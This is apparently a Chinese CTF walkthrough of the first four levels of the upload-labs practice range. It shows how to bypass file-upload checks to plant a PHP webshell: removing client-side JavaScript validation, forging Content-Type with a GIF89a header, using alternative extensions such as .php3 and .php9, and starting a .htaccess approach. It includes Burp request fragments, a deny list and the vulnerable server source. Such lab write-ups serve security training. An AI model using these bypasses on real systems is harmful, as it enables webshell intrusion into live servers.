文件上传功能非常常见,上传图片、视频,论坛发送带上附件,邮件发送带上附件等场景   
BUUCTF–练习场-- basic–上传文件漏洞经典靶场upload-labs


Pass-1
 先尝试上传一张正常的照片:  上传成功: 
右键,查看图像,得到上传成功的地址: http://07b2a810-8fe2-406b-b1d0-6bce30a755ae.node4.buuoj.cn:81/upload/Chrysanthemum.jpg 然后尝试上传木马: 根据简介中提到的:
upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。
所以上传PHP的免杀一句话木马: 点击“上传”,竟然提示:
该文件不允许上传,请上传.jpg|.png|.gif类型的文件,当前文件类型为:.php
尝试开启burp进行抓包: 发现burp什么包都没有抓到,依旧弹出:
该文件不允许上传,请上传.jpg|.png|.gif类型的文件,当前文件类型为:.php
判断,这是前端的检验 看javascript源码:
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
var allow_ext = ".jpg|.png|.gif";
var ext_name = file.substring(file.lastIndexOf("."));
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
允许上传的文件类型是:.jpg|.png|.gif 所以上传PHP木马会失败
解决:绕过前端(非常简单) 找到触发校验的地方:  删去改JS方法,然后访问:  校验,发现成功获取webshell:  通过蚁剑连接:  
再看Pass-2

直接上手—传木马: 跟刚才的提示不一样,这一次不是弹窗:  估计走的后端校验,尝试抓包: 果然:  cmd+r,给Repeater: 直接go一下,果然是:
<div id="msg">
提示:文件类型不正确,请重新上传! </div>
<div id="img">
</div>
修改content- type,并加上图片头:
Content-Type: image/jpeg
GIF89a <?php ......
(为了防止和第一题的有不同,修改为sqzr2.php)
Go一下: 成功上传:  直接根目录加上/upload/sqzr2.php 访问:  
连接蚁剑: 

回顾,看看源码:(PHP,后端检验)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
其实就是检验的content- type,也没有检验上传文件的后缀。
Pass-3:

先尝试上传木马:  burp抓包改后缀:
Content-Disposition: form-data; name="upload_file"; filename="sqzr3.php3"
Content-Type: application/octet-stream
GIF89a
<?php
go一下成功: 
放包直接访问:
http://07b2a810-8fe2-406b-b1d0-6bce30a755ae.node4.buuoj.cn:81/upload/202201290656555488.php3
成功:   连接蚁剑:   回顾,看一下关键的源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext);
$file_ext = str_ireplace('::$DATA', '', $file_ext);
$file_ext = trim($file_ext);
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
Pass-4
先尝试上传一个木马, 
 只是提示 此文件不允许上传 也没有别的提示,尝试抓包,改
Content-Disposition: form-data; name="upload_file"; filename="sqzr.php3"
Content-Type: image/jpeg
GIF89a
<?php
Go了,还是不允许上传,看一波提示:
提 示
本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf后缀文件!
试试PHP9:
Content-Disposition: form-data; name="upload_file"; filename="sqzr4.php9"
Content-Type: image/jpeg
GIF89a
<?php
居然成功:  访问:
http://07b2a810-8fe2-406b-b1d0-6bce30a755ae.node4.buuoj.cn:81/upload/sqzr4.php9

如果直接连接蚁剑,发现不行,又遇到问题了
最后尝试利用 .htaccess文件解决:  
先上传这个.htaccess文件: 
|